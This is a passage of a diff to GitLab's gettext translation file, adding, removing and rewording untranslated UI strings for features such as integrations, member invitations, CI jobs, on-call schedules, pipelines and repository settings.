+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr "新增"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18268,6 +18681,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18382,6 +18813,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
